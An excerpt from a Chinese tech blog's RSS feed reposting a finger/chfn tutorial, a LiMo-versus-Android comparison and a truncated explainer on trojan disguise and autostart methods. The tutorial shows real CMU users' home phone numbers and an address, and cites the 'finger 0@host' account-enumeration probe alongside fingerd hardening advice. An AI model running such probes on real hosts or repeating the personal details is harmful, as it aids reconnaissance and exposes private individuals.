&nbsp;&nbsp; &nbsp;^$ee**&quot;&quot; :+:&nbsp; &nbsp;&nbsp; &nbsp; :+:&nbsp; &nbsp; :+: :+:&nbsp; &nbsp; :+: :+:&nbsp; &nbsp;:+:<br /> 4&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;F&nbsp; &nbsp;&nbsp; &nbsp;+:+&nbsp; &nbsp;&nbsp; &nbsp; +:+&nbsp; &nbsp; +:+&nbsp;&nbsp;+:+&nbsp;&nbsp;+:+&nbsp; &nbsp;+:+ +:+<br /> L&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;.d&nbsp; &nbsp;&nbsp; &nbsp;:#::+::#&nbsp;&nbsp;+#+&nbsp; &nbsp; +:+&nbsp; &nbsp;+#++:+&nbsp; &nbsp;&nbsp;&nbsp;+#++:<br /> '*&quot;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; d$&nbsp; &nbsp;&nbsp; &nbsp; +#+&nbsp; &nbsp;&nbsp; &nbsp; +#+&nbsp; &nbsp; +#+&nbsp;&nbsp;+#+&nbsp;&nbsp;+#+&nbsp; &nbsp;&nbsp;&nbsp;+#+<br /> &nbsp; &nbsp; &quot; .r$$%P%.@$&quot;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;#+#&nbsp; &nbsp;&nbsp; &nbsp; #+#&nbsp; &nbsp; #+# #+#&nbsp; &nbsp; #+#&nbsp; &nbsp; #+#<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;###&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;########&nbsp;&nbsp;###&nbsp; &nbsp; ###&nbsp; &nbsp; ###<br /> Login: yihchun&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Name: Yih-Chun Hu<br /> Directory: /afs/cs.cmu.edu/user/yihchun<br /> Mail is forwarded to <a href="mailto:yihchun@uiuc.edu">yihchun@uiuc.edu</a><br /> Plan:<br /> I hope to graduate from CMU's Ph.D. program in Computer Science... eventually.<br /> <br /> Office: 4114 Wean Hall, (412) 268-3075<br /> Lab:&nbsp; &nbsp; 3418 Wean Hall, (412) 268-6972<br /> Fax:&nbsp; &nbsp; (412) 268-5576<br /> Home:&nbsp; &nbsp;(412) 688-0661<br /> Web:&nbsp; &nbsp; <a href="http://www.cs.cmu.edu/%7Eyihchun/" target="_blank">http://www.cs.cmu.edu/~yihchun/</a><br /> Snail:&nbsp;&nbsp;Yih-Chun Hu<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Department of Computer Science<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;5000 Forbes Avenue<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Carnegie Mellon University<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Pittsburgh, PA 15213<br /> <br /> Travel:<br /> Login: jennylo&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Name: Hiu Yu Lo<br /> Directory: /afs/cs.cmu.edu/user/jennylo<br /> No Plan<br /> Login: janiceb&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Name: Janice H. Brochetti<br /> Directory: /afs/cs.cmu.edu/user/janiceb<br /> Mail is forwarded to <a href="mailto:janiceb+@imap.srv.cs.cmu.edu">janiceb+@imap.srv.cs.cmu.edu</a><br /> No Plan<br /> Login: changbo&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Name: Changbo Hu<br /> Directory: /afs/cs.cmu.edu/user/changbo<br /> Mail is forwarded to <a href="mailto:changbo+@imap-ns.srv.cs.cmu.edu">changbo+@imap-ns.srv.cs.cmu.edu</a><br /> No Plan<br /> Login: hzhang&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Name: Hui Zhang<br /> Directory: /afs/cs.cmu.edu/user/hzhang<br /> Mail is forwarded to <a href="mailto:hzhang+@imap-ns.srv.cs.cmu.edu">hzhang+@imap-ns.srv.cs.cmu.edu</a><br /> Plan:<br /> Professor<br /> <br /> School of Computer Science&nbsp;&nbsp;Office:&nbsp; &nbsp;&nbsp; &nbsp; 7126 Wean Hall<br /> Carnegie Mellon University&nbsp;&nbsp;Number:&nbsp; &nbsp;&nbsp; &nbsp; (412)268-8945<br /> 5000 Forbes Ave&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; Email:&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<a href="mailto:hzhang@cs.cmu.edu">hzhang@cs.cmu.edu</a><br /> Pittsburgh, PA 15213-3891&nbsp; &nbsp;URL: <a href="http://www.cs.cmu.edu/%7Ehzhang" target="_blank">http://www.cs.cmu.edu/~hzhang</a><br /> <br /> <br /> Administrative Associate: Kathy McNiff<br /> <br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Phone:&nbsp;&nbsp;(412) 268-5099<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Fax:&nbsp; &nbsp; (412) 268-6714<br /> &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Email:&nbsp;&nbsp;<a href="mailto:kmm@cs.cmu.edu">kmm@cs.cmu.edu</a><br /> <br /> <br /> <br /> <br /> <br /> Login: hou&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Name: Lily Hou<br /> Directory: /afs/cs.cmu.edu/user/hou<br /> Mail is forwarded to <a href="mailto:hou+@imap.srv.cs.cmu.edu">hou+@imap.srv.cs.cmu.edu</a><br /> Plan:<br /> <br /> Login: hyu&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Name: Hua Yu<br /> Directory: /afs/cs.cmu.edu/user/hyu<br /> Mail is forwarded to <a href="mailto:hyu2000@gmail.com">hyu2000@gmail.com</a><br /> Project:Remodel the wheel<br /> Plan:<br /> Hua Yu (thesis mode, reloaded)<br /> <br /> Office:<br /> 2602B Newell Simon Hall&nbsp; &nbsp;&nbsp; &nbsp;(412) 268-5479<br /> Language Technology Institute (LTI a.k.a. CMT)<br /> <br /> Fax: (412) 268-6298<br /> <br /> Delivery:<br /> 4502 Newell Simon Hall (LTI)<br /> Carnegie Mellon Univ., 5000 Forbes Ave.<br /> Pittsburgh, PA 15213<br /> <br /> Home:<br /> Apt.301, 5628 Hempstead St.&nbsp;&nbsp;(412) 422-2762<br /> Pittsburgh, PA 15217<br /> <br /> <a href="mailto:hyu@cs.cmu.edu">hyu@cs.cmu.edu</a>&nbsp; &nbsp;<a href="http://www.cs.cmu.edu/%7Ehyu" target="_blank">http://www.cs.cmu.edu/~hyu</a><br /> <br /> <br /> &quot;Be who you are and say what you feel because the people who mind<br /> don't matter and the people who matter don't mind.&quot; - Dr. Seuss<br /> <br /> &quot;I contend, that the Negro is the creative voice of America, is creative<br /> America, and it was a happy day ... when the first unhappy slave landed<br /> on its shores.&quot;&nbsp;&nbsp;- Duke Ellington<br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> finger命令使用方法<br /> <br /> finger<br /> <br /> finger [options]users<br /> <br /> 显示有关一个或多个用户的数据，包括每个用户目录下文件.plan和.project所列出的信息。可以把每个用户指定为一个登陆名（完全匹配）或指定为姓或名（显示所有匹配名字的信息）。网络环境中可识别参数的形式为user@host或@host。<br /> <br /> 选项<br /> <br /> -s<br /> <br /> 显示短格式，包括登录名，真实名字，终端名，写状态，空闲时间，办公地点和办公室电话。<br /> <br /> -l<br /> <br /> 强制采用长格式（默认），显示由-s选项所包含的所有信息，以及主目录，家庭电话，登录shell，邮件状态，.plan，.project和.forward。<br /> <br /> -p<br /> <br /> 在显示中省略.plan和.project文件中的内容。<br /> <br /> -m<br /> <br /> 禁止对用户&ldquo;真实&rdquo;名字的匹配。<br /> <br /> 说明<br /> <br /> 不指定finger的选项如果提供用户名的话，默认设为-l输出风格，否则为-s风格。注意在两种格式中，如果信息不足，都有一些域可能丢失，如果没有指 定参数finger会为当前登录的每个用户打印一个条目。finger可以用来查看远程机器上的用户信息，格式是指定user为user@host或 @host。前者的默认输出为-l风格，后者的默认输出为-s风格。-l是唯一的向远地机器传递的选项。 <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> 如何改变finger信息内容<br /> <br /> <br /> 可以使用chfn命令修改finger的内容。看以下示例：<br /> <br /> [root@localhost ~]# chfn zhangzijian<br /> Changing finger information for zhangzijian.<br /> Name [zhangzijian]: laojian<br /> Office [11229]: China<br /> Office Phone [13888888888]:<br /> Home Phone [13888888888]:<br /> <br /> Finger information changed.<br /> <br /> <br /> 讲解：不带选项的chfn命令进入了交互模式。在每个项目里，不输入任何内容会保持原值。<br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> <br /> 使用-o选项<br /> <br /> <br /> [root@localhost ~]# chfn -o 13800138000 zhangzijian<br /> Changing finger information for zhangzijian.<br /> Finger information changed.<br /> 讲解：在这里，我指定中国移动的充值电话为我的办公室电话。<br /> <br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> chfn命令使用方法<br /> chfn [options][username]<br /> <br /> <br /> 当用户被验证后，可以修改存放在/etc/passwd中并被显示的信息。如果没有options 选项，那么chfn进入交互模式并提示可进行修改。为了得到一空白区域，输入关键字none。只有特权用户才可以为另一个用户改变信息，对于普通用户，在 修改之前，chfn提示用户输入密码。<br /> <br /> <br /> 选项<br /> <br /> <br /> -f,--full-name<br /> <br /> 指定新的全名。<br /> <br /> <br /> -h,--home-phone<br /> <br /> <br /> 指定新的家庭电话号码。<br /> <br /> <br /> -o,--office<br /> <br /> <br /> 指定新的办公室号。<br /> <br /> <br /> -p,--office-phone<br /> <br /> <br /> 指定新的办公室电话号码。<br /> <br /> <br /> -u,--help<br /> <br /> <br /> 显示帮助信息并退出。<br /> <br /> <br /> -v,--version<br /> <br /> <br /> 显示版本信息并退出。<br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> 安全性<br /> <br /> 最流行的finger应用是美国加州大学Berkeley分校开发的。但是,BSD版本提供很少选项针对特定站点安全政策的详细Finger RUIP（远程用户信息程序）或者保护用户以免受到危险数据的攻击。而且，它存在许多用户和管理员需要注意的安全隐患，特别因为协议的目的是返回系统用户 信息，最有可能发生问题的部分。<br /> <br /> 某些Unix系统自带的fingerd实现上存在安全问题，远程攻击者可能通过利用此漏洞得到系统用户相关信息。以数字为用户名提交一个请求，远程攻击者可能获取系统上的某些帐号名。比如：finger 0@host 。<br /> <br /> 比如在以上卡内基--梅隆大学的示例中，可以获得cs.cmu.edu这台主机的管理员所使用的shell信息，以及他什么时候活动在这台主机上。这样就 为不法者提供了很多关于主机的信息。在下面的例子里，著名的morris蠕虫，在1988年，导致占互联网1/10的约6000台unix主机崩溃，损失 为1500万美圆。<br /> <br /> 回顾历史[Robert tappan morris的网络蠕虫用到了finger daemon。finger daemon允许从远端主机发送至多512比特作为Finger请求。然而，finger却有缓存溢出的漏洞，这是因为缺少正确的边界检查。被 finger的主机将任何超过512比特的东西解释成在本地执行的指令，无论finger daemon的权限是什么。]<br /> 对策<br /> <br /> 如果有可能，就关闭掉finger的远程服务，可以保留本地服务。如果想禁止本地服务，可以直接删除掉finger命令。<br /> <br /> 关闭远程服务（linux下）<br /> <br /> 可以在inetd.d/xinetd.d中设置fingerd的启动脚本，把disable项设置为yes即可。<br /> <br /> 关闭远程服务（solaris下）<br /> <br /> 打开/etc/inetd.conf文件，找到如下行：<br /> finger&nbsp;&nbsp;stream&nbsp;&nbsp;tcp&nbsp; &nbsp;nowait&nbsp;&nbsp;nobody /usr/sbin/in.fingerd&nbsp; &nbsp; in.fingerd<br /> <br /> 在该行的开始处增加#号来将其注释<br /> #finger&nbsp;&nbsp;stream&nbsp;&nbsp;tcp&nbsp; &nbsp;&nbsp;&nbsp;nowait&nbsp;&nbsp;nobody&nbsp;&nbsp;/usr/sbin/in.fingerd&nbsp; &nbsp; in.fingerd<br /> &nbsp; &nbsp; <br /> 3. 重新启动inetd<br /> # ps -ef&#124;grep inetd<br /> root&nbsp; &nbsp;167&nbsp; &nbsp;&nbsp;&nbsp;1&nbsp;&nbsp;0&nbsp; &nbsp;Oct 07 ?&nbsp; &nbsp;0:07 /usr/sbin/inetd -s -t<br /> # kill -HUP 167 (上面的例子中，167是inetd的pid) <br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> 如果还想保留finger服务，那么就要经常注意服务器版本的更新。并且要把尝试连接该服务器的ip地址记录到日志里。 <br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> 关于finger的更多信息<br /> 《finger的故事》<a href="http://lib.wyu.edu.cn/internet/internet_dc_8.html" target="_blank">http://lib.wyu.edu.cn/internet/internet_dc_8.html</a><br /> <br /> <br /> RFC1288（中文）<a href="http://www.cnpaf.net/rfc/rfc1288.txt" target="_blank">http://www.cnpaf.net/rfc/rfc1288.txt</a><br /> <br /> <br /> RFC1288（英文）<a href="http://www.ietf.org/rfc/rfc1288.txt?number=1288" target="_blank">http://www.ietf.org/rfc/rfc1288.txt?number=1288</a><br /> <br /> <br /> --------------------------------------------------------------------------------<br /> <br /> <br /> 参考文献man-page中文版<br /> <a href="http://cmpp.linuxforum.net/cman-html/man1/finger.1.html" target="_blank">http://cmpp.linuxforum.net/cman-html/man1/finger.1.html</a><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BD%2591%25E7%25BB%259C" rel="tag">网络</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1720</link>
<title><![CDATA[转帖：LiMo PK Android:一山能否容二虎?]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Wed, 05 Mar 2008 01:51:01 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1720</guid> 
<description>
<![CDATA[ 
	要说当前<p><strong class="kgb" style="border: 0px none ; margin: 0px; padding: 0px; color: #0000ff; font-weight: normal; text-decoration: underline">智能手机</strong><strong class="kgb" style="border: 0px none ; color: #0000ff; font-weight: normal; text-decoration: underline">操作系统</strong><strong class="kgb" style="border: 0px none ; margin: 0px; padding: 0px; color: #0000ff; font-weight: normal; text-decoration: underline">市场</strong>上最耀眼的新星是谁？那肯定是Google的Android操作系统了。常言道一山不能容二虎，由于Google的异军突起，从而产生的Linux手机两大阵营LiMo基金会及GOOGLE领导的开放手机联盟(OHA)，最近可谓是火花四射竞争味十足。 <br /> <br /> LiMo基金会与开放手机联盟(OHA)都在2007年成立，同样在本届西班牙巴塞罗GSMA全球移动通讯大会首度展示商品化的最新成果，其中LiMo基 金会一口气展示了7家厂商开发的18款手机，将自2008年上半年起陆续问世，开放手机联盟则有7家会员厂商展出Android平台原型机，预计2008 年下半年商用化。 <br /> <br /> 之所以把Google的Android也划分到linux阵营，从本质上讲，android也是基于linux内核的。只是google加入了很多自己的 东西。虽然Google对外界宣称Android的功能，尤其是网络和多媒体功能将是自己的最大卖点，但Android还是遭遇了来自LiMo的威胁。<strong class="kgb" style="border: 0px none ; margin: 0px; padding: 0px; color: #0000ff; font-weight: normal; text-decoration: underline">市场研究公司</strong>CCS Insight称，越来越多的运营商及手机生产商支持LiMo，会给Google造成很大的压力，迫其联合LiMo开展Android计划。 <br /> <br /> Limo与Android的主要区别 <br /> <br /> Google主导开放手机联盟（OHA），有34名成员组成的联盟目标共同指向一个开源的移动平台Android。Google显然是领导者，而LIMO组成的仅仅是一批<strong class="kgb" style="border: 0px none ; margin: 0px; padding: 0px; color: #0000ff; font-weight: normal; text-decoration: underline">供应商</strong>的组合而已。 <br /> <br /> 另一个区别是平台本身，limo基金会没有自己的应用<strong class="kgb" style="border: 0px none ; color: #0000ff; font-weight: normal; text-decoration: underline">软件</strong>开发平台，而Google主导的开放手机联盟（OHA）却已有自己的移动开发平台Android <br /> 其次LiMo与开放手机联盟的发展方向，也不尽相同。LiMo的平台只开放给会员厂商，除了定义规格及标准化等工作外，也会涉及授权及<strong class="kgb" style="border: 0px none ; margin: 0px; padding: 0px; color: #0000ff; font-weight: normal; text-decoration: underline">产品认证</strong>等事宜，但开放手机联盟的平台将会全面开放，不限于会员厂商。Wind River台湾区总经理李隆仁认为，以现有发展态势观察，LiMo应可比Android平台触及更大市场。<br /> <br /> 兼容性：只是一个神话？ <br /> <br /> 由于Linux的开放性，使得在这一平台上所开发的软件缺少一定的标准性，导致了许多应用软件间的兼容性都是不容回避的问题。 <br /> <br /> 无论硬件设备还是操作系统，LIMO和开放手机联盟将来是否能够完全兼容？我们目前无法断言。&ldquo;虽然这些平台都是基于linux衍生出来的工具，但是当你进入linux市场，有很多的假定的规则，有很多种可能性&ldquo;分析师的Ken Dulaney说。 <br /> <br /> &ldquo;虽然他们说，他们完全兼容，互连互通，但我却不这么认为。&rdquo;他补充说。 <br /> <br /> 开放源代码名不副实？ <br /> <br /> 虽然Android和LiMo操作系统都是走的开源路线，但这并不代表什么。Dulaney表示，&ldquo;它们每一个都可以使用一部分别人的环境，但是问题是作为它们的环境来使用将会打上什么样的烙印，而且这正是它上面的核心应用和编程接口给我们的感觉。&rdquo; <br /> <br /> LIMO是一套全面的开放移动软件和服务，旨在帮助企业提供的web2.0的应用模式，音乐，视频，图形和其他功能的手机，Android公司则使用Google. <br /> <br /> 有Azingo和Google作为后台，这是我相信这两个平台都非常有竞争力的原因，Dulaney表示。&ldquo;开源开发者总是喜欢讨论：他们可能会说你可以在Google上运行LiMo应用&mdash;&mdash;是的，你可以。但是你将不得不对其进行调整来适应Android。&rdquo;他解释说。 <br /> <br /> 总结 <br /> <br /> 产业组织原本就存在竞合关系，只要同样朝着开放及创新等方向努力，都是整个产业所乐见的。谁最后胜出？又或者是两者整合，我们都无法预测。但一山未必不能容二虎，更加可能的是这两个linux移动阵营将共同存在，不同的供应商支持的各自的阵营共存。</p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%2589%258B%25E6%259C%25BA" rel="tag">手机</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1719</link>
<title><![CDATA[转帖：特洛伊木马传播方式及其危害]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Sun, 02 Mar 2008 17:11:15 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1719</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp; 英文叫做&ldquo;Trojan house&rdquo;，其名称取自希腊神话的特洛伊木马记。 它是一种基于远程控制的黑客工具，具有隐蔽性和非授权性的特点。所谓隐蔽性是指木马的设计者为了防止木马被发现，会采用多种手段隐藏木马，这样服务端即使发现感染了木马，由于不能确定其具体位置，往往只能望&ldquo;马&rdquo;兴叹。所谓非授权性是指一旦控制端与服务端连接后，控制端将享有服务端的大部分操作权限，包括修改文件，修改注册表，控制鼠标，键盘等等，而这些权力并不是服务端赋予的，而是通过木马程序窃取的。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从木马的发展来看，基本上可以分为两个阶段。最初网络还处于以UNIX平台为主的时期，木马就产生了，当时的木马程序的功能相对简单，往往是将一段程序嵌入到系统文件中，用跳转指令来执行一些木马的功能，在这个时期木马的设计者和使用者大都是些技术人员，必须具备相当的网络和编程知识。而后随着WINDOWS平台的日益普及，一些基于图形操作的木马程序出现了，用户界面的改善，使使用者不用懂太多的专业知识就可以熟练的操作木马，相对的木马入侵事件也频繁出现，而且由于这个时期木马的功能已日趋完善，因此对服务端的破坏也更大了。所以所木马发展到今天，已经无所不用其极，一旦被木马控制，你的电脑将毫无秘密可言。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一个完整的木马系统由硬件部分，软件部分和具体连接部分组成------<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1)硬件部分：建立木马连接所必须的硬件实体。 控制端：对服务端进行远程控制的一方。 服务端：被控制端远程控制的一方。 INTERNET：控制端对服务端进行远程控制，数据传输的网络载体。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2)软件部分：实现远程控制所必须的软件程序。 控制端程序：控制端用以远程控制服务端的程序。 木马程序：潜入服务端内部，获取其操作权限的程序。 木马配置程序：设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏得更隐蔽的程序。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (3)具体连接部分：通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。控制端IP，服务端IP：即控制端，服务端的网络地址，也是木马进行数据传输的目的地。控制端端口，木马端口：即控制端，服务端的数据入口，通过这个入口，数据可直达控制端程序或木马 程序。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用木马这种黑客工具进行网络入侵，从过程上看大致可分为六步，下面就按这六步来详细阐述木马的攻击原理。<br /><br />一.配置木马<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一般来说一个设计成熟的木马都有木马配置程序，从具体的配置内容看，主要是为了实现以下两方面功能：<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1)木马伪装：木马配置程序为了在服务端尽可能的好的隐藏木马，会采用多种伪装手段，如修改图标 ，捆绑文件，定制端口，自我销毁等，我们将在&ldquo;传播木马&rdquo;这一节中详细介绍。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2)信息反馈：木马配置程序将就信息反馈的方式或地址进行设置，如设置信息反馈的邮件地址，IRC号 ，ICO号等等，具体的我们将在&ldquo;信息反馈&rdquo;这一节中详细介绍。<br /><br />二.传播木马<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1)传播方式:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载，一些非正规的网站以提供软件下载为 名义，将木马捆绑在软件安装程序上，下载后，只要一运行这些程序，木马就会自动安装。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2)伪装方式:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 鉴于木马的危害性,很多人对木马知识还是有一定了解的,这对木马的传播起了一定的抑制作用,这 是木马设计者所不愿见到的,因此他们开发了多种功能来伪装木马,以达到降低用户警觉,欺骗用户的目的。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (a)修改图标<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当你在E-MAIL的附件中看到这个图标时,是否会认为这是个文本文件呢?但是我不得不告 诉你,这也有可能是个木马程序,现在已经有木马可以将木马服务端程序的图标改成HTML,TXT, ZIP等各种文件的图标,这有相当大的迷惑性,但是目前提供这种功能的木马还不多见,并且这种 伪装也不是无懈可击的,所以不必整天提 心吊胆,疑神疑鬼的。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (b)捆绑文件<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的 情况下 ,偷偷的进入了系统。至于被捆绑的文件一般是可执行文件(即EXE,COM一类的文件)。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (c)出错显示<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序, 木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务 端用户打开木马程序时,会弹出一个如下图所示的错误提示框(这当然是假的),错误内容可自由 定义,大多会定制成一些诸如&ldquo;文件已破坏，无法打开的！&rdquo;之类的信息，当服务端用户信以 为真时,木马却悄悄侵入了 系统。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (d)定制端口<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的 端口就知道感染了什么木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可以在1024---65535之间任选一个端口作为木马端口(一般不选1024以下的端口)，这样就给判断 所感染木马类型带 来了麻烦。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (e)自我销毁<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这项功能是为了弥补木马的一个缺陷。我们知道当服务端用户打开含有木马的文件后，木马会将自己拷贝到WINDOWS的系统文件夹中(C:&#92;WINDOWS或C:&#92;WINDOWS&#92;SYSTEM目录下)，一般来说 原木马文件和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么中了木马 的朋友只要在近来收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统 文件夹找相同大小的文件, 判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木 马后，原木马文件将自动销毁，这样服务端用户就很难找到木马的来源，在没有查杀木马的工 具帮助下，就很难删除木马了。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (f)木马更名<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 安装到系统文件夹中的木马的文件名一般是固定的，那么只要根据一些查杀木马的文章,按图索骥在系统文件夹查找特定的文件,就可以断定中了什么木马。所以现在有很多木马都允许控制端用户自由定制安装后的木马文件名，这样很难判断所感染的木马类型了。<br /><br />三.运行木马<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 服务端用户运行木马或捆绑木马的程序后,木马就会自动进行安装。首先将自身拷贝到WINDOWS的系统文件夹中(C:&#92;WINDOWS或C:&#92;WINDOWS&#92;SYSTEM目录下),然后在注册表,启动组,非启动组中设置好木马 的触发条件 ,这样木马的安装就完成了。安装后就可以启动木马了，具体过程见下图：<br /><br />(1)由触发条件激活木马<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 触发条件是指启动木马的条件,大致出现在下面八个地方:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1.注册表:打开HKEY_LOCAL_MACHINE&#92;Software&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;下的五个以Run 和RunServices主键,在其中寻找可能是启动木马的键值。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2.WIN.INI:C:&#92;WINDOWS目录下有一个配置文件win.ini，用文本方式打开，在[windows]字段中有启动 命令 load=和run=,在一般情况下是空白的,如果有启动程序,可能是木马。<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.SYSTEM.INI:C:&#92;WINDOWS目录下有个配置文件system.ini，用文本方式打开，在[386Enh],[mic]， 